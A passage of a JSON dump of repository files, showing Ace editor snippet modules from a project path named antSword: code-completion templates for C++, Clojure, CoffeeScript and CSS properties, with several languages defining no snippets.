pqueue\\n\tstd::priority_queue<${1:T}> ${2};${3}\\n##\\n## Access Modifiers\\n# private\\nsnippet pri\\n\tprivate\\n# protected\\nsnippet pro\\n\tprotected\\n# public\\nsnippet pub\\n\tpublic\\n# friend\\nsnippet fr\\n\tfriend\\n# mutable\\nsnippet mu\\n\tmutable\\n## \\n## Class\\n# class\\nsnippet cl\\n\tclass ${1:`Filename('$1', 'name')`} \\n\t{\\n\tpublic:\\n\t\t$1(${2});\\n\t\t~$1();\\n\\n\tprivate:\\n\t\t${3:/* data */}\\n\t};\\n# member function implementation\\nsnippet mfun\\n\t${4:void} ${1:`Filename('$1', 'ClassName')`}::${2:memberFunction}(${3}) {\\n\t\t${5:/* code */}\\n\t}\\n# namespace\\nsnippet ns\\n\tnamespace ${1:`Filename('', 'my')`} {\\n\t\t${2}\\n\t} /* namespace $1 */\\n##\\n## Input/Output\\n# std::cout\\nsnippet cout\\n\tstd::cout << ${1} << std::endl;${2}\\n# std::cin\\nsnippet cin\\n\tstd::cin >> ${1};${2}\\n##\\n## Iteration\\n# for i \\nsnippet fori\\n\tfor (int ${2:i} = 0; $2 < ${1:count}; $2${3:++}) {\\n\t\t${4:/* code */}\\n\t}${5}\\n\\n# foreach\\nsnippet fore\\n\tfor (${1:auto} ${2:i} : ${3:container}) {\\n\t\t${4:/* code */}\\n\t}${5}\\n# iterator\\nsnippet iter\\n\tfor (${1:std::vector}<${2:type}>::${3:const_iterator} ${4:i} = ${5:container}.begin(); $4 != $5.end(); ++$4) {\\n\t\t${6}\\n\t}${7}\\n\\n# auto iterator\\nsnippet itera\\n\tfor (auto ${1:i} = $1.begin(); $1 != $1.end(); ++$1) {\\n\t\t${2:std::cout << *$1 << std::endl;}\\n\t}${3}\\n##\\n## Lambdas\\n# lamda (one line)\\nsnippet ld\\n\t[${1}](${2}){${3:/* code */}}${4}\\n# lambda (multi-line)\\nsnippet lld\\n\t[${1}](${2}){\\n\t\t${3:/* code */}\\n\t}${4}\\n\",t.scope=\"c_cpp\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/cirru.js",
    "content": "ace.define(\"ace/snippets/cirru\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"cirru\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/clojure.js",
    "content": "ace.define(\"ace/snippets/clojure\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='snippet comm\\n\t(comment\\n\t  ${1}\\n\t  )\\nsnippet condp\\n\t(condp ${1:pred} ${2:expr}\\n\t  ${3})\\nsnippet def\\n\t(def ${1})\\nsnippet defm\\n\t(defmethod ${1:multifn} \"${2:doc-string}\" ${3:dispatch-val} [${4:args}]\\n\t  ${5})\\nsnippet defmm\\n\t(defmulti ${1:name} \"${2:doc-string}\" ${3:dispatch-fn})\\nsnippet defma\\n\t(defmacro ${1:name} \"${2:doc-string}\" ${3:dispatch-fn})\\nsnippet defn\\n\t(defn ${1:name} \"${2:doc-string}\" [${3:arg-list}]\\n\t  ${4})\\nsnippet defp\\n\t(defprotocol ${1:name}\\n\t  ${2})\\nsnippet defr\\n\t(defrecord ${1:name} [${2:fields}]\\n\t  ${3:protocol}\\n\t  ${4})\\nsnippet deft\\n\t(deftest ${1:name}\\n\t    (is (= ${2:assertion})))\\n\t  ${3})\\nsnippet is\\n\t(is (= ${1} ${2}))\\nsnippet defty\\n\t(deftype ${1:Name} [${2:fields}]\\n\t  ${3:Protocol}\\n\t  ${4})\\nsnippet doseq\\n\t(doseq [${1:elem} ${2:coll}]\\n\t  ${3})\\nsnippet fn\\n\t(fn [${1:arg-list}] ${2})\\nsnippet if\\n\t(if ${1:test-expr}\\n\t  ${2:then-expr}\\n\t  ${3:else-expr})\\nsnippet if-let \\n\t(if-let [${1:result} ${2:test-expr}]\\n\t\t(${3:then-expr} $1)\\n\t\t(${4:else-expr}))\\nsnippet imp\\n\t(:import [${1:package}])\\n\t& {:keys [${1:keys}] :or {${2:defaults}}}\\nsnippet let\\n\t(let [${1:name} ${2:expr}]\\n\t\t${3})\\nsnippet letfn\\n\t(letfn [(${1:name) [${2:args}]\\n\t          ${3})])\\nsnippet map\\n\t(map ${1:func} ${2:coll})\\nsnippet mapl\\n\t(map #(${1:lambda}) ${2:coll})\\nsnippet met\\n\t(${1:name} [${2:this} ${3:args}]\\n\t  ${4})\\nsnippet ns\\n\t(ns ${1:name}\\n\t  ${2})\\nsnippet dotimes\\n\t(dotimes [_ 10]\\n\t  (time\\n\t    (dotimes [_ ${1:times}]\\n\t      ${2})))\\nsnippet pmethod\\n\t(${1:name} [${2:this} ${3:args}])\\nsnippet refer\\n\t(:refer-clojure :exclude [${1}])\\nsnippet require\\n\t(:require [${1:namespace} :as [${2}]])\\nsnippet use\\n\t(:use [${1:namespace} :only [${2}]])\\nsnippet print\\n\t(println ${1})\\nsnippet reduce\\n\t(reduce ${1:(fn [p n] ${3})} ${2})\\nsnippet when\\n\t(when ${1:test} ${2:body})\\nsnippet when-let\\n\t(when-let [${1:result} ${2:test}]\\n\t\t${3:body})\\n',t.scope=\"clojure\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/cobol.js",
    "content": "ace.define(\"ace/snippets/cobol\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"cobol\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/coffee.js",
    "content": "ace.define(\"ace/snippets/coffee\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"# Closure loop\\nsnippet forindo\\n\tfor ${1:name} in ${2:array}\\n\t\tdo ($1) ->\\n\t\t\t${3:// body}\\n# Array comprehension\\nsnippet fora\\n\tfor ${1:name} in ${2:array}\\n\t\t${3:// body...}\\n# Object comprehension\\nsnippet foro\\n\tfor ${1:key}, ${2:value} of ${3:object}\\n\t\t${4:// body...}\\n# Range comprehension (inclusive)\\nsnippet forr\\n\tfor ${1:name} in [${2:start}..${3:finish}]\\n\t\t${4:// body...}\\nsnippet forrb\\n\tfor ${1:name} in [${2:start}..${3:finish}] by ${4:step}\\n\t\t${5:// body...}\\n# Range comprehension (exclusive)\\nsnippet forrex\\n\tfor ${1:name} in [${2:start}...${3:finish}]\\n\t\t${4:// body...}\\nsnippet forrexb\\n\tfor ${1:name} in [${2:start}...${3:finish}] by ${4:step}\\n\t\t${5:// body...}\\n# Function\\nsnippet fun\\n\t(${1:args}) ->\\n\t\t${2:// body...}\\n# Function (bound)\\nsnippet bfun\\n\t(${1:args}) =>\\n\t\t${2:// body...}\\n# Class\\nsnippet cla class ..\\n\tclass ${1:`substitute(Filename(), '\\\\(_\\\\|^\\\\)\\\\(.\\\\)', '\\\\u\\\\2', 'g')`}\\n\t\t${2}\\nsnippet cla class .. constructor: ..\\n\tclass ${1:`substitute(Filename(), '\\\\(_\\\\|^\\\\)\\\\(.\\\\)', '\\\\u\\\\2', 'g')`}\\n\t\tconstructor: (${2:args}) ->\\n\t\t\t${3}\\n\\n\t\t${4}\\nsnippet cla class .. extends ..\\n\tclass ${1:`substitute(Filename(), '\\\\(_\\\\|^\\\\)\\\\(.\\\\)', '\\\\u\\\\2', 'g')`} extends ${2:ParentClass}\\n\t\t${3}\\nsnippet cla class .. extends .. constructor: ..\\n\tclass ${1:`substitute(Filename(), '\\\\(_\\\\|^\\\\)\\\\(.\\\\)', '\\\\u\\\\2', 'g')`} extends ${2:ParentClass}\\n\t\tconstructor: (${3:args}) ->\\n\t\t\t${4}\\n\\n\t\t${5}\\n# If\\nsnippet if\\n\tif ${1:condition}\\n\t\t${2:// body...}\\n# If __ Else\\nsnippet ife\\n\tif ${1:condition}\\n\t\t${2:// body...}\\n\telse\\n\t\t${3:// body...}\\n# Else if\\nsnippet elif\\n\telse if ${1:condition}\\n\t\t${2:// body...}\\n# Ternary If\\nsnippet ifte\\n\tif ${1:condition} then ${2:value} else ${3:other}\\n# Unless\\nsnippet unl\\n\t${1:action} unless ${2:condition}\\n# Switch\\nsnippet swi\\n\tswitch ${1:object}\\n\t\twhen ${2:value}\\n\t\t\t${3:// body...}\\n\\n# Log\\nsnippet log\\n\tconsole.log ${1}\\n# Try __ Catch\\nsnippet try\\n\ttry\\n\t\t${1}\\n\tcatch ${2:error}\\n\t\t${3}\\n# Require\\nsnippet req\\n\t${2:$1} = require '${1:sys}'${3}\\n# Export\\nsnippet exp\\n\t${1:root} = exports ? this\\n\",t.scope=\"coffee\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/coldfusion.js",
    "content": "ace.define(\"ace/snippets/coldfusion\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"coldfusion\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/csharp.js",
    "content": "ace.define(\"ace/snippets/csharp\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"csharp\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/css.js",
    "content": "ace.define(\"ace/snippets/css\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"snippet .\\n\t${1} {\\n\t\t${2}\\n\t}\\nsnippet !\\n\t !important\\nsnippet bdi:m+\\n\t-moz-border-image: url(${1}) ${2:0} ${3:0} ${4:0} ${5:0} ${6:stretch} ${7:stretch};\\nsnippet bdi:m\\n\t-moz-border-image: ${1};\\nsnippet bdrz:m\\n\t-moz-border-radius: ${1};\\nsnippet bxsh:m+\\n\t-moz-box-shadow: ${1:0} ${2:0} ${3:0} #${4:000};\\nsnippet bxsh:m\\n\t-moz-box-shadow: ${1};\\nsnippet bdi:w+\\n\t-webkit-border-image: url(${1}) ${2:0} ${3:0} ${4:0} ${5:0} ${6:stretch} ${7:stretch};\\nsnippet bdi:w\\n\t-webkit-border-image: ${1};\\nsnippet bdrz:w\\n\t-webkit-border-radius: ${1};\\nsnippet bxsh:w+\\n\t-webkit-box-shadow: ${1:0} ${2:0} ${3:0} #${4:000};\\nsnippet bxsh:w\\n\t-webkit-box-shadow: ${1};\\nsnippet @f\\n\t@font-face {\\n\t\tfont-family: ${1};\\n\t\tsrc: url(${2});\\n\t}\\nsnippet @i\\n\t@import url(${1});\\nsnippet @m\\n\t@media ${1:print} {\\n\t\t${2}\\n\t}\\nsnippet bg+\\n\tbackground: #${1:FFF} url(${2}) ${3:0} ${4:0} ${5:no-repeat};\\nsnippet bga\\n\tbackground-attachment: ${1};\\nsnippet bga:f\\n\tbackground-attachment: fixed;\\nsnippet bga:s\\n\tbackground-attachment: scroll;\\nsnippet bgbk\\n\tbackground-break: ${1};\\nsnippet bgbk:bb\\n\tbackground-break: bounding-box;\\nsnippet bgbk:c\\n\tbackground-break: continuous;\\nsnippet bgbk:eb\\n\tbackground-break: each-box;\\nsnippet bgcp\\n\tbackground-clip: ${1};\\nsnippet bgcp:bb\\n\tbackground-clip: border-box;\\nsnippet bgcp:cb\\n\tbackground-clip: content-box;\\nsnippet bgcp:nc\\n\tbackground-clip: no-clip;\\nsnippet bgcp:pb\\n\tbackground-clip: padding-box;\\nsnippet bgc\\n\tbackground-color: #${1:FFF};\\nsnippet bgc:t\\n\tbackground-color: transparent;\\nsnippet bgi\\n\tbackground-image: url(${1});\\nsnippet bgi:n\\n\tbackground-image: none;\\nsnippet bgo\\n\tbackground-origin: ${1};\\nsnippet bgo:bb\\n\tbackground-origin: border-box;\\nsnippet bgo:cb\\n\tbackground-origin: content-box;\\nsnippet bgo:pb\\n\tbackground-origin: padding-box;\\nsnippet bgpx\\n\tbackground-position-x: ${1};\\nsnippet bgpy\\n\tbackground-position-y: ${1};\\nsnippet bgp\\n\tbackground-position: ${1:0} ${2:0};\\nsnippet bgr\\n\tbackground-repeat: ${1};\\nsnippet bgr:n\\n\tbackground-repeat: no-repeat;\\nsnippet bgr:x\\n\tbackground-repeat: repeat-x;\\nsnippet bgr:y\\n\tbackground-repeat: repeat-y;\\nsnippet bgr:r\\n\tbackground-repeat: repeat;\\nsnippet bgz\\n\tbackground-size: ${1};\\nsnippet bgz:a\\n\tbackground-size: auto;\\nsnippet bgz:ct\\n\tbackground-size: contain;\\nsnippet bgz:cv\\n\tbackground-size: cover;\\nsnippet bg\\n\tbackground: ${1};\\nsnippet bg:ie\\n\tfilter: progid:DXImageTransform.Microsoft.AlphaImageLoader(src='${1}',sizingMethod='${2:crop}');\\nsnippet bg:n\\n\tbackground: none;\\nsnippet bd+\\n\tborder: ${1:1px} ${2:solid} #${3:000};\\nsnippet bdb+\\n\tborder-bottom: ${1:1px} ${2:solid} #${3:000};\\nsnippet bdbc\\n\tborder-bottom-color: #${1:000};\\nsnippet bdbi\\n\tborder-bottom-image: url(${1});\\nsnippet bdbi:n\\n\tborder-bottom-image: none;\\nsnippet bdbli\\n\tborder-bottom-left-image: url(${1});\\nsnippet bdbli:c\\n\tborder-bottom-left-image: continue;\\nsnippet bdbli:n\\n\tborder-bottom-left-image: none;\\nsnippet bdblrz\\n\tborder-bottom-left-radius: ${1};\\nsnippet bdbri\\n\tborder-bottom-right-image: url(${1});\\nsnippet bdbri:c\\n\tborder-bottom-right-image: continue;\\nsnippet bdbri:n\\n\tborder-bottom-right-image: none;\\nsnippet bdbrrz\\n\tborder-bottom-right-radius: ${1};\\nsnippet bdbs\\n\tborder-bottom-style: ${1};\\nsnippet bdbs:n\\n\tborder-bottom-style: none;\\nsnippet bdbw\\n\tborder-bottom-width: ${1};\\nsnippet bdb\\n\tborder-bottom: ${1};\\nsnippet bdb:n\\n\tborder-bottom: none;\\nsnippet bdbk\\n\tborder-break: ${1};\\nsnippet bdbk:c\\n\tborder-break: close;\\nsnippet bdcl\\n\tborder-collapse: ${1};\\nsnippet bdcl:c\\n\tborder-collapse: collapse;\\nsnippet bdcl:s\\n\tborder-collapse: separate;\\nsnippet bdc\\n\tborder-color: #${1:000};\\nsnippet bdci\\n\tborder-corner-image: url(${1});\\nsnippet bdci:c\\n\tborder-corner-image: continue;\\nsnippet bdci:n\\n\tborder-corner-image: none;\\nsnippet bdf\\n\tborder-fit: ${1};\\nsnippet bdf:c\\n\tborder-fit: clip;\\nsnippet bdf:of\\n\tborder-fit: overwrite;\\nsnippet bdf:ow\\n\tborder-fit: overwrite;\\nsnippet bdf:r\\n\tborder-fit: repeat;\\nsnippet bdf:sc\\n\tborder-fit: scale;\\nsnippet bdf:sp\\n\tborder-fit: space;\\nsnippet bdf:st\\n\tborder-fit: stretch;\\nsnippet bdi\\n\tborder-image: url(${1}) ${2:0} ${3:0} ${4:0} ${5:0} ${6:stretch} ${7:stretch};\\nsnippet bdi:n\\n\tborder-image: none;\\nsnippet bdl+\\n\tborder-left: ${1:1px} ${2:solid} #${3:000};\\nsnippet bdlc\\n\tborder-left-color: #${1:000};\\nsnippet bdli\\n\tborder-left-image: url(${1});\\nsnippet bdli:n\\n\tborder-left-image: none;\\nsnippet bdls\\n\tborder-left-style: ${1};\\nsnippet bdls:n\\n\tborder-left-style: none;\\nsnippet bdlw\\n\tborder-left-width: ${1};\\nsnippet bdl\\n\tborder-left: ${1};\\nsnippet bdl:n\\n\tborder-left: none;\\nsnippet bdlt\\n\tborder-length: ${1};\\nsnippet bdlt:a\\n\tborder-length: auto;\\nsnippet bdrz\\n\tborder-radius: ${1};\\nsnippet bdr+\\n\tborder-right: ${1:1px} ${2:solid} #${3:000};\\nsnippet bdrc\\n\tborder-right-color: #${1:000};\\nsnippet bdri\\n\tborder-right-image: url(${1});\\nsnippet bdri:n\\n\tborder-right-image: none;\\nsnippet bdrs\\n\tborder-right-style: ${1};\\nsnippet bdrs:n\\n\tborder-right-style: none;\\nsnippet bdrw\\n\tborder-right-width: ${1};\\nsnippet bdr\\n\tborder-right: ${1};\\nsnippet bdr:n\\n\tborder-right: none;\\nsnippet bdsp\\n\tborder-spacing: ${1};\\nsnippet bds\\n\tborder-style: ${1};\\nsnippet bds:ds\\n\tborder-style: dashed;\\nsnippet bds:dtds\\n\tborder-style: dot-dash;\\nsnippet bds:dtdtds\\n\tborder-style: dot-dot-dash;\\nsnippet bds:dt\\n\tborder-style: dotted;\\nsnippet bds:db\\n\tborder-style: double;\\nsnippet bds:g\\n\tborder-style: groove;\\nsnippet bds:h\\n\tborder-style: hidden;\\nsnippet bds:i\\n\tborder-style: inset;\\nsnippet bds:n\\n\tborder-style: none;\\nsnippet bds:o\\n\tborder-style: outset;\\nsnippet bds:r\\n\tborder-style: ridge;\\nsnippet bds:s\\n\tborder-style: solid;\\nsnippet bds:w\\n\tborder-style: wave;\\nsnippet bdt+\\n\tborder-top: ${1:1px} ${2:solid} #${3:000};\\nsnippet bdtc\\n\tborder-top-color: #${1:000};\\nsnippet bdti\\n\tborder-top-image: url(${1});\\nsnippet bdti:n\\n\tborder-top-image: none;\\nsnippet bdtli\\n\tborder-top-left-image: url(${1});\\nsnippet bdtli:c\\n\tborder-corner-image: continue;\\nsnippet bdtli:n\\n\tborder-corner-image: none;\\nsnippet bdtlrz\\n\tborder-top-left-radius: ${1};\\nsnippet bdtri\\n\tborder-top-right-image: url(${1});\\nsnippet bdtri:c\\n\tborder-top-right-image: continue;\\nsnippet bdtri:n\\n\tborder-top-right-image: none;\\nsnippet bdtrrz\\n\tborder-top-right-radius: ${1};\\nsnippet bdts\\n\tborder-top-style: ${1};\\nsnippet bdts:n\\n\tborder-top-style: none;\\nsnippet bdtw\\n\tborder-top-width: ${1};\\nsnippet bdt\\n\tborder-top: ${1};\\nsnippet bdt:n\\n\tborder-top: none;\\nsnippet bdw\\n\tborder-width: ${1};\\nsnippet bd\\n\tborder: ${1};\\nsnippet bd:n\\n\tborder: none;\\nsnippet b\\n\tbottom: ${1};\\nsnippet b:a\\n\tbottom: auto;\\nsnippet bxsh+\\n\tbox-shadow: ${1:0} ${2:0} ${3:0} #${4:000};\\nsnippet bxsh\\n\tbox-shadow: ${1};\\nsnippet bxsh:n\\n\tbox-shadow: none;\\nsnippet bxz\\n\tbox-sizing: ${1};\\nsnippet bxz:bb\\n\tbox-sizing: border-box;\\nsnippet bxz:cb\\n\tbox-sizing: content-box;\\nsnippet cps\\n\tcaption-side: ${1};\\nsnippet cps:b\\n\tcaption-side: bottom;\\nsnippet cps:t\\n\tcaption-side: top;\\nsnippet cl\\n\tclear: ${1};\\nsnippet cl:b\\n\tclear: both;\\nsnippet cl:l\\n\tclear: left;\\nsnippet cl:n\\n\tclear: none;\\nsnippet cl:r\\n\tclear: right;\\nsnippet cp\\n\tclip: ${1};\\nsnippet cp:a\\n\tclip: auto;\\nsnippet cp:r\\n\tclip: rect(${1:0} ${2:0} ${3:0} ${4:0});\\nsnippet c\\n\tcolor: #${1:000};\\nsnippet ct\\n\tcontent: ${1};\\nsnippet ct:a\\n\tcontent: attr(${1});\\nsnippet ct:cq\\n\tcontent: close-quote;\\nsnippet ct:c\\n\tcontent: counter(${1});\\nsnippet ct:cs\\n\tcontent: counters(${1});\\nsnippet ct:ncq\\n\tcontent: no-close-quote;\\nsnippet ct:noq\\n\tcontent: no-open-quote;\\nsnippet ct:n\\n\tcontent: normal;\\nsnippet ct:oq\\n\tcontent: open-quote;\\nsnippet coi\\n\tcounter-increment: ${1};\\nsnippet cor\\n\tcounter-reset: ${1};\\nsnippet cur\\n\tcursor: ${1};\\nsnippet cur:a\\n\tcursor: auto;\\nsnippet cur:c\\n\tcursor: crosshair;\\nsnippet cur:d\\n\tcursor: default;\\nsnippet cur:ha\\n\tcursor: hand;\\nsnippet cur:he\\n\tcursor: help;\\nsnippet cur:m\\n\tcursor: move;\\nsnippet cur:p\\n\tcursor: pointer;\\nsnippet cur:t\\n\tcursor: text;\\nsnippet d\\n\tdisplay: ${1};\\nsnippet d:mib\\n\tdisplay: -moz-inline-box;\\nsnippet d:mis\\n\tdisplay: -moz-inline-stack;\\nsnippet d:b\\n\tdisplay: block;\\nsnippet d:cp\\n\tdisplay: compact;\\nsnippet d:ib\\n\tdisplay: inline-block;\\nsnippet d:itb\\n\tdisplay: inline-table;\\nsnippet d:i\\n\tdisplay: inline;\\nsnippet d:li\\n\tdisplay: list-item;\\nsnippet d:n\\n\tdisplay: none;\\nsnippet d:ri\\n\tdisplay: run-in;\\nsnippet d:tbcp\\n\tdisplay: table-caption;\\nsnippet d:tbc\\n\tdisplay: table-cell;\\nsnippet d:tbclg\\n\tdisplay: table-column-group;\\nsnippet d:tbcl\\n\tdisplay: table-column;\\nsnippet d:tbfg\\n\tdisplay: table-footer-group;\\nsnippet d:tbhg\\n\tdisplay: table-header-group;\\nsnippet d:tbrg\\n\tdisplay: table-row-group;\\nsnippet d:tbr\\n\tdisplay: table-row;\\nsnippet d:tb\\n\tdisplay: table;\\nsnippet ec\\n\tempty-cells: ${1};\\nsnippet ec:h\\n\tempty-cells: hide;\\nsnippet ec:s\\n\tempty-cells: show;\\nsnippet exp\\n\texpression()\\nsnippet fl\\n\tfloat: ${1};\\nsnippet fl:l\\n\tfloat: left;\\nsnippet fl:n\\n\tfloat: none;\\nsnippet fl:r\\n\tfloat: right;\\nsnippet f+\\n\tfont: ${1:1em} ${2:Arial},${3:sans-serif};\\nsnippet fef\\n\tfont-effect: ${1};\\nsnippet fef:eb\\n\tfont-effect: emboss;\\nsnippet fef:eg\\n\tfont-effect: engrave;\\nsnippet fef:n\\n\tfont-effect: none;\\nsnippet fef:o\\n\tfont-effect: outline;\\nsnippet femp\\n\tfont-emphasize-position: ${1};\\nsnippet femp:a\\n\tfont-emphasize-position: after;\\nsnippet femp:b\\n\tfont-emphasize-position: before;\\nsnippet fems\\n\tfont-emphasize-style: ${1};\\nsnippet fems:ac\\n\tfont-emphasize-style: accent;\\nsnippet fems:c\\n\tfont-emphasize-style: circle;\\nsnippet fems:ds\\n\tfont-emphasize-style: disc;\\nsnippet fems:dt\\n\tfont-emphasize-style: dot;\\nsnippet fems:n\\n\tfont-emphasize-style: none;\\nsnippet fem\\n\tfont-emphasize: ${1};\\nsnippet ff\\n\tfont-family: ${1};\\nsnippet ff:c\\n\tfont-family: ${1:'Monotype Corsiva','Comic Sans MS'},cursive;\\nsnippet ff:f\\n\tfont-family: ${1:Capitals,Impact},fantasy;\\nsnippet ff:m\\n\tfont-family: ${1:Monaco,'Courier New'},monospace;\\nsnippet ff:ss\\n\tfont-family: ${1:Helvetica,Arial},sans-serif;\\nsnippet ff:s\\n\tfont-family: ${1:Georgia,'Times New Roman'},serif;\\nsnippet fza\\n\tfont-size-adjust: ${1};\\nsnippet fza:n\\n\tfont-size-adjust: none;\\nsnippet fz\\n\tfont-size: ${1};\\nsnippet fsm\\n\tfont-smooth: ${1};\\nsnippet fsm:aw\\n\tfont-smooth: always;\\nsnippet fsm:a\\n\tfont-smooth: auto;\\nsnippet fsm:n\\n\tfont-smooth: never;\\nsnippet fst\\n\tfont-stretch: ${1};\\nsnippet fst:c\\n\tfont-stretch: condensed;\\nsnippet fst:e\\n\tfont-stretch: expanded;\\nsnippet fst:ec\\n\tfont-stretch: extra-condensed;\\nsnippet fst:ee\\n\tfont-stretch: extra-expanded;\\nsnippet fst:n\\n\tfont-stretch: normal;\\nsnippet fst:sc\\n\tfont-stretch: semi-condensed;\\nsnippet fst:se\\n\tfont-stretch: semi-expanded;\\nsnippet fst:uc\\n\tfont-stretch: ultra-condensed;\\nsnippet fst:ue\\n\tfont-stretch: ultra-expanded;\\nsnippet fs\\n\tfont-style: ${1};\\nsnippet fs:i\\n\tfont-style: italic;\\nsnippet fs:n\\n\tfont-style: normal;\\nsnippet fs:o\\n\tfont-style: oblique;\\nsnippet fv\\n\tfont-variant: ${1};\\nsnippet fv:n\\n\tfont-variant: normal;\\nsnippet fv:sc\\n\tfont-variant: small-caps;\\nsnippet fw\\n\tfont-weight: ${1};\\nsnippet fw:b\\n\tfont-weight: bold;\\nsnippet fw:br\\n\tfont-weight: bolder;\\nsnippet fw:lr\\n\tfont-weight: lighter;\\nsnippet fw:n\\n\tfont-weight: normal;\\nsnippet f\\n\tfont: ${1};\\nsnippet h\\n\theight: ${1};\\nsnippet h:a\\n\theight: auto;\\nsnippet l\\n\tleft: ${1};\\nsnippet l:a\\n\tleft: auto;\\nsnippet lts\\n\tletter-spacing: ${1};\\nsnippet lh\\n\tline-height: ${1};\\nsnippet lisi\\n\tlist-style-image: url(${1});\\nsnippet lisi:n\\n\tlist-style-image: none;\\nsnippet lisp\\n\tlist-style-position: ${1};\\nsnippet lisp:i\\n\tlist-style-position: inside;\\nsnippet lisp:o\\n\tlist-style-position: outside;\\nsnippet list\\n\tlist-style-type: ${1};\\nsnippet list:c\\n\tlist-style-type: circle;\\nsnippet list:dclz\\n\tlist-style-type: decimal-leading-zero;\\nsnippet list:dc\\n\tlist-style-type: decimal;\\nsnippet list:d\\n\tlist-style-type: disc;\\nsnippet list:lr\\n\tlist-style-type: lower-roman;\\nsnippet list:n\\n\tlist-style-type: none;\\nsnippet list:s\\n\tlist-style-type: square;\\nsnippet list:ur\\n\tlist-style-type: upper-roman;\\nsnippet lis\\n\tlist-style: ${1};\\nsnippet lis:n\\n\tlist-style: none;\\nsnippet mb\\n\tmargin-bottom: ${1};\\nsnippet mb:a\\n\tmargin-bottom: auto;\\nsnippet ml\\n\tmargin-left: ${1};\\nsnippet ml:a\\n\tmargin-left: auto;\\nsnippet mr\\n\tmargin-right: ${1};\\nsnippet mr:a\\n\tmargin-right: auto;\\nsnippet mt\\n\tmargin-top: ${1};\\nsnippet mt:a\\n\tmargin-top: auto;\\nsnippet m\\n\tmargin: ${1};\\nsnippet m:4\\n\tmargin: ${1:0} ${2:0} ${3:0} ${4:0};\\nsnippet m:3\\n\tmargin: ${1:0} ${2:0} ${3:0};\\nsnippet m:2\\n\tmargin: ${1:0} ${2:0};\\nsnippet m:0\\n\tmargin: 0;\\nsnippet m:a\\n\tmargin: auto;\\nsnippet mah\\n\tmax-height: ${1};\\nsnippet mah:n\\n\tmax-height: none;\\nsnippet maw\\n\tmax-width: ${1};\\nsnippet maw:n\\n\tmax-width: none;\\nsnippet mih\\n\tmin-height: ${1};\\nsnippet miw\\n\tmin-width: ${1};\\nsnippet op\\n\topacity: ${1};\\nsnippet op:ie\\n\tfilter: progid:DXImageTransform.Microsoft.Alpha(Opacity=${1:100});\\nsnippet op:ms\\n\t-ms-filter: 'progid:DXImageTransform.Microsoft.Alpha(Opacity=${1:100})';\\nsnippet orp\\n\torphans: ${1};\\nsnippet o+\\n\toutline: ${1:1px} ${2:solid} #${3:000};\\nsnippet oc\\n\toutline-color: ${1:#000};\\nsnippet oc:i\\n\toutline-color: invert;\\nsnippet oo\\n\toutline-offset: ${1};\\nsnippet os\\n\toutline-style: ${1};\\nsnippet ow\\n\toutline-width: ${1};\\nsnippet o\\n\toutline: ${1};\\nsnippet o:n\\n\toutline: none;\\nsnippet ovs\\n\toverflow-style: ${1};\\nsnippet ovs:a\\n\toverflow-style: auto;\\nsnippet ovs:mq\\n\toverflow-style: marquee;\\nsnippet ovs:mv\\n\toverflow-style: move;\\nsnippet ovs:p\\n\toverflow-style: panner;\\nsnippet ovs:s\\n\toverflow-style: scrollbar;\\nsnippet ovx\\n\toverflow-x: ${1};\\nsnippet ovx:a\\n\toverflow-x: auto;\\nsnippet ovx:h\\n\toverflow-x: hidden;\\nsnippet ovx:s\\n\toverflow-x: scroll;\\nsnippet ovx:v\\n\toverflow-x: visible;\\nsnippet ovy\\n\toverflow-y: ${1};\\nsnippet ovy:a\\n\toverflow-y: auto;\\nsnippet ovy:h\\n\toverflow-y: hidden;\\nsnippet ovy:s\\n\toverflow-y: scroll;\\nsnippet ovy:v\\n\toverflow-y: visible;\\nsnippet ov\\n\toverflow: ${1};\\nsnippet ov:a\\n\toverflow: auto;\\nsnippet ov:h\\n\toverflow: hidden;\\nsnippet ov:s\\n\toverflow: scroll;\\nsnippet ov:v\\n\toverflow: visible;\\nsnippet pb\\n\tpadding-bottom: ${1};\\nsnippet pl\\n\tpadding-left: ${1};\\nsnippet pr\\n\tpadding-right: ${1};\\nsnippet pt\\n\tpadding-top: ${1};\\nsnippet p\\n\tpadding: ${1};\\nsnippet p:4\\n\tpadding: ${1:0} ${2:0} ${3:0} ${4:0};\\nsnippet p:3\\n\tpadding: ${1:0} ${2:0} ${3:0};\\nsnippet p:2\\n\tpadding: ${1:0} ${2:0};\\nsnippet p:0\\n\tpadding: 0;\\nsnippet pgba\\n\tpage-break-after: ${1};\\nsnippet pgba:aw\\n\tpage-break-after: always;\\nsnippet pgba:a\\n\tpage-break-after: auto;\\nsnippet pgba:l\\n\tpage-break-after: left;\\nsnippet pgba:r\\n\tpage-break-after: right;\\nsnippet pgbb\\n\tpage-break-before: ${1};\\nsnippet pgbb:aw\\n\tpage-break-before: always;\\nsnippet pgbb:a\\n\tpage-break-before: auto;\\nsnippet pgbb:l\\n\tpage-break-before: left;\\nsnippet pgbb:r\\n\tpage-break-before: right;\\nsnippet pgbi\\n\tpage-break-inside: ${1};\\nsnippet pgbi:a\\n\tpage-break-inside: auto;\\nsnippet pgbi:av\\n\tpage-break-inside: avoid;\\nsnippet pos\\n\tposition: ${1};\\nsnippet pos:a\\n\tposition: absolute;\\nsnippet pos:f\\n\tposition: fixed;\\nsnippet pos:r\\n\tposition: relative;\\nsnippet pos:s\\n\tposition: static;\\nsnippet q\\n\tquotes: ${1};\\nsnippet q:en\\n\tquotes: '\\\\201C' '\\\\201D' '\\\\2018' '\\\\2019';\\nsnippet q:n\\n\tquotes: none;\\nsnippet q:ru\\n\tquotes: '\\\\00AB' '\\\\00BB' '\\\\201E' '\\\\201C';\\nsnippet rz\\n\tresize: ${1};\\nsnippet rz:b\\n\tresize: both;\\nsnippet 